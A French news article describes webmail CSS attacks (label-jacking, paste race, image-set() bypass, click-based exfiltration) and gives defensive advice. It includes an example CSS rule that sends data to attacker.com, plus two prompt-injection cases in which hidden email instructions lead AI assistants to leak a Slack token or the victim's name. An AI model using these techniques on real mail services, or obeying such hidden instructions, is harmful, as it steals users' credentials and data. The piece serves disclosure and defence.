Attaques CSS sur les webmails : comment les failles de style permettent de voler mots de passe et jetons

Imaginez : un simple email peut transformer votre boîte de réception en piège. Une image ou un bouton anodin peut suffire à capturer votre mot de passe Outlook. C’est ce que révèlent des recherches en sécurité présentées au Black Hat USA 2026 par Gareth Heyes, chercheur chez PortSwigger. Les attaques CSS exploitent les feuilles de style autorisées dans les emails HTML pour franchir la barrière entre le contenu du message et l’interface du webmail. Résultat : des mots de passe, des jetons d’authentification et des données sensibles peuvent être dérobés sans que l’utilisateur ne s’en aperçoive. Ces vulnérabilités touchent les six principaux services de messagerie : Outlook, Gmail, Fastmail, Proton Mail, Yahoo Mail et AOL Mail. Selon les chercheurs, 100 % des webmails testés présentaient au moins une faille exploitable, démontrant l’ampleur du problème.

Comprendre le mécanisme des attaques CSS sur les webmails

Les webmails appliquent généralement un sanitizer HTML pour filtrer les éléments dangereux comme les scripts. Cependant, les CSS sont souvent moins strictement contrôlées car considérées comme inoffensives. Les chercheurs ont identifié deux grandes voies d’attaque : abuser des éléments HTML et CSS déjà autorisés par le webmail, ou créer une divergence entre ce que le sanitizer approuve et ce que le navigateur ou l’application interprète finalement. Dans les deux cas, la frontière entre le message non fiable et l’interface de confiance est franchie.

Le principe de la fuite de style

L’élément <label> est un exemple typique. Bien qu’autorisé pour des raisons d’accessibilité, il peut être utilisé pour déclencher des contrôles situés en dehors du message via l’attribut for. De plus, du JavaScript applicatif peut transformer des attributs personnalisés autorisés en nouveaux nœuds DOM portant des CSS non filtrées. Une astuce de parsing des media queries a permis aux chercheurs d’obtenir un contrôle CSS arbitraire sur Outlook. Concrètement, une media query invalide du point de vue du sanitizer peut être interprétée différemment par le navigateur, ouvrant la voie à l’injection de règles CSS complètes.

Les vecteurs d’attaque identifiés

• Label-jacking : utilisation de l’élément <label> pour détourner des clics vers des contrôles de l’interface du webmail, comme un champ de mot de passe. Sur Outlook, cela a permis de superposer un faux écran de connexion Microsoft.
• Paste race : dans Firefox, le HTML collé conserve temporairement des CSS actives avant la sanitization, permettant une exfiltration rapide de jetons. La fenêtre de tir est inférieure à une seconde, mais suffisante pour envoyer des données.
• Image-set() bypass : la propriété CSS image-set() peut déclencher des requêtes externes malgré les filtres, comme démontré sur Gmail. Cette technique contourne les politiques de sécurité de contenu (CSP) en utilisant une fonction CSS légitime.
• CSS hotwiring : redirection de clics vers des actions UI non prévues, par exemple sur Fastmail. Un clic sur un bouton anodin peut déclencher une action sensible comme la suppression de messages.
• CSS pseudo-elements : utilisation de ::before et ::after pour afficher un texte différent pour l’humain et pour l’IA, exploitant les assistants de messagerie. L’humain voit un texte inoffensif, tandis que le modèle lit des instructions cachées.
• Click-based exfiltration : technique permettant d’exfiltrer des données même lorsque le CSP bloque les requêtes externes. Le CSS détermine les caractères présents dans un jeton, masque les liens non correspondants et ne laisse visible que le lien correspondant. Un clic de la victime envoie les données à l’attaquant.
• Escaped-backslash bypass : sur Fastmail, un backslash échappé dans une URL d’image permet de contourner le proxy et de révéler quand un email est ouvert.

Panorama des vulnérabilités par fournisseur de messagerie

Le tableau ci-dessous récapitule les principales attaques présentées, leur impact et l’état des correctifs au moment de la publication des recherches (août 2026).

“Le contenu d’un email ne devrait jamais pouvoir interagir avec l’interface du webmail. Les fournisseurs doivent traiter chaque message comme non fiable et l’isoler complètement.” - Gareth Heyes, PortSwigger

Zoom sur la chaîne d’attaque Outlook

La démonstration sur Outlook illustre parfaitement la complexité de ces attaques. En utilisant un élément <label> autorisé, l’attaquant peut faire pointer le label vers un champ de mot de passe situé dans l’interface du webmail. Grâce à des attributs personnalisés que le sanitizer laisse passer, le JavaScript d’Outlook crée de nouveaux éléments DOM qui échappent au filtre CSS. Une media query savamment construite permet alors d’injecter des règles CSS arbitraires. L’attaquant masque le champ de mot de passe original et affiche un faux écran de connexion Microsoft. Lorsque la victime saisit son mot de passe, celui-ci est capturé. De plus, Firefox réinitialise le minuteur de sélection des éléments <select> lorsque ceux-ci sont déplacés hors de l’écran, rendant la capture en temps réel possible.

Zoom sur la paste race Yahoo/AOL

Sur Yahoo Mail et AOL Mail, une vulnérabilité liée au collage de HTML dans Firefox a été exploitée. Lorsqu’un utilisateur colle du contenu dans un brouillon, le HTML conserve temporairement ses CSS actives avant que le sanitizer ne les filtre. Dans la démonstration, l’attaquant initie un flux de connexion par email (par exemple pour Medium), puis la victime copie du CSS fourni par l’attaquant dans le presse-papiers et le colle dans un brouillon Yahoo ou AOL. Les requêtes générées par le CSS actif révèlent suffisamment de caractères du jeton de connexion (12 caractères) pour que le serveur de l’attaquant puisse le reconstituer et se connecter à la place de la victime.

Des attaques en chaîne exploitant l’IA et les assistants de messagerie

Et si votre assistant IA devenait une porte dérobée ? L’intégration croissante de l’intelligence artificielle dans les messageries ouvre de nouvelles portes aux attaquants. Les chercheurs ont démontré deux scénarios frappants qui exploitent la capacité des modèles de langage à lire et interpréter le contenu des emails.

Sur Gmail, une chaîne d’attaque indirecte a ciblé Claude Cowork, l’assistant IA d’Anthropic connecté à un compte Gmail. L’attaquant envoie un email contenant une injection de prompt. Lorsque la victime demande à Cowork de traiter ses emails, les instructions injectées lui ordonnent de récupérer un jeton Slack (présent dans un email de confirmation) et de le placer dans un brouillon HTML. La simple visualisation de ce brouillon par la victime exfiltre le jeton vers le serveur de l’attaquant via l’image-set() bypass.

Sur Fastmail, c’est le navigateur IA Atlas d’OpenAI qui a été piégé. Grâce à des pseudo-éléments CSS et des jeux d’opacité, l’humain voit un texte anodin tandis que le modèle lit des instructions cachées. Lorsque l’utilisateur demande à Atlas de traduire le texte visible, les instructions cachées lui font ouvrir des onglets et encoder le nom de la victime dans des fragments d’URL. OpenAI a annoncé la fin de vie d’Atlas au 9 août 2026, mais le principe reste valable pour d’autres assistants.

“Les attaques CSS sont particulièrement insidieuses car elles exploitent des fonctionnalités légitimes du web. La frontière entre contenu autorisé et malveillant est parfois très mince.”

Impact sur les entreprises et les utilisateurs

Ces vulnérabilités ont des conséquences directes sur la sécurité des données. Le vol de mots de passe peut compromettre des comptes professionnels entiers. L’exfiltration de jetons d’authentification permet de prendre le contrôle de services tiers (Slack, Medium, etc.) sans avoir à forcer l’authentification. De plus, la manipulation d’assistants IA peut entraîner des fuites de données sensibles ou des actions non autorisées.

Les entreprises doivent prendre conscience que les webmails, même ceux de fournisseurs réputés, ne sont pas à l’abri d’attaques CSS sophistiquées. La formation des utilisateurs à la reconnaissance d’emails suspects reste essentielle, mais elle ne suffit pas face à des techniques qui ne nécessitent aucune interaction visible de la part de la victime. Selon une étude de Verizon, 90 % des cyberattaques commencent par un email. Les attaques CSS ajoutent une nouvelle dimension à cette menace.

Comment se protéger face à ces nouvelles menaces CSS

Bonnes pratiques pour les utilisateurs

1. Maintenez votre navigateur à jour : certaines attaques, comme la paste race, sont spécifiques à des versions de Firefox. Les correctifs de sécurité peuvent limiter les risques. Utilisez de préférence un navigateur à jour avec les dernières protections.
2. Soyez vigilant face aux emails suspects : même un message semblant inoffensif peut contenir des CSS malveillantes. Évitez d’interagir avec des emails non sollicités et ne cliquez pas sur des liens ou boutons inattendus.
3. Désactivez le chargement automatique des images : cela réduit les possibilités d’exfiltration via des requêtes externes. Dans les paramètres de votre webmail, optez pour le chargement manuel des images.
4. Utilisez l’authentification multi-facteurs (MFA) : en cas de vol de jeton, un second facteur peut bloquer l’accès à vos comptes. Activez MFA sur tous vos services critiques.
5. Préférez un client de messagerie local pour les comptes sensibles, car les webmails sont la cible directe de ces attaques. Les clients de messagerie comme Thunderbird ou Outlook desktop offrent une surface d’attaque réduite.
6. Limitez l’utilisation d’assistants IA connectés à votre messagerie tant que des correctifs ne sont pas déployés. Si vous utilisez Claude Cowork ou des services similaires, soyez conscient des risques d’injection de prompt.

Recommandations pour les fournisseurs de messagerie

Les chercheurs ont publié des recommandations précises à l’intention des développeurs de webmails. Les voici résumées :

• Isoler le contenu HTML des emails dans des iframes sandboxées avec l’attribut sandbox. Cela empêche toute interaction avec le DOM parent.
• Restreindre les propriétés CSS autorisées à une liste blanche stricte. Les propriétés comme image-set(), background-image avec URL, et les media queries complexes devraient être interdites.
• Bloquer les éléments dangereux : <label>, <select>, et les attributs personnalisés qui pourraient être utilisés pour créer des gadgets CSS.
• Appliquer une politique de sécurité de contenu (CSP) robuste pour empêcher les requêtes externes, même via des fonctions CSS.
• Valider les CSS côté serveur avec une liste de caractères autorisés, en rejetant toute séquence suspecte comme les backslashes échappés.
• Tester régulièrement les failles de type “CSS gadget” avant d’autoriser de nouveaux attributs ou fonctionnalités.

/* Exemple de CSS malveillante utilisant un media query pour contourner les filtres */
@media screen {
  body { background: url('https://attacker.com/steal?data=...'); }
}

Conclusion : l’isolation du contenu HTML, une nécessité absolue

Les attaques CSS sur les webmails représentent une menace sérieuse pour la sécurité des utilisateurs. Les recherches de Gareth Heyes montrent que même des fonctionnalités CSS légitimes peuvent être détournées pour voler des mots de passe et des jetons d’authentification. Alors que les fournisseurs travaillent à corriger ces vulnérabilités, la prudence reste de mise. En attendant des correctifs généralisés, l’isolation stricte du contenu HTML et la restriction des CSS sont les seules garanties efficaces. Restez informé et protégez vos comptes en adoptant les bonnes pratiques recommandées. Les preuves de concept étant publiques, il est probable que des acteurs malveillants s’en inspirent. Agissez dès maintenant pour renforcer votre sécurité.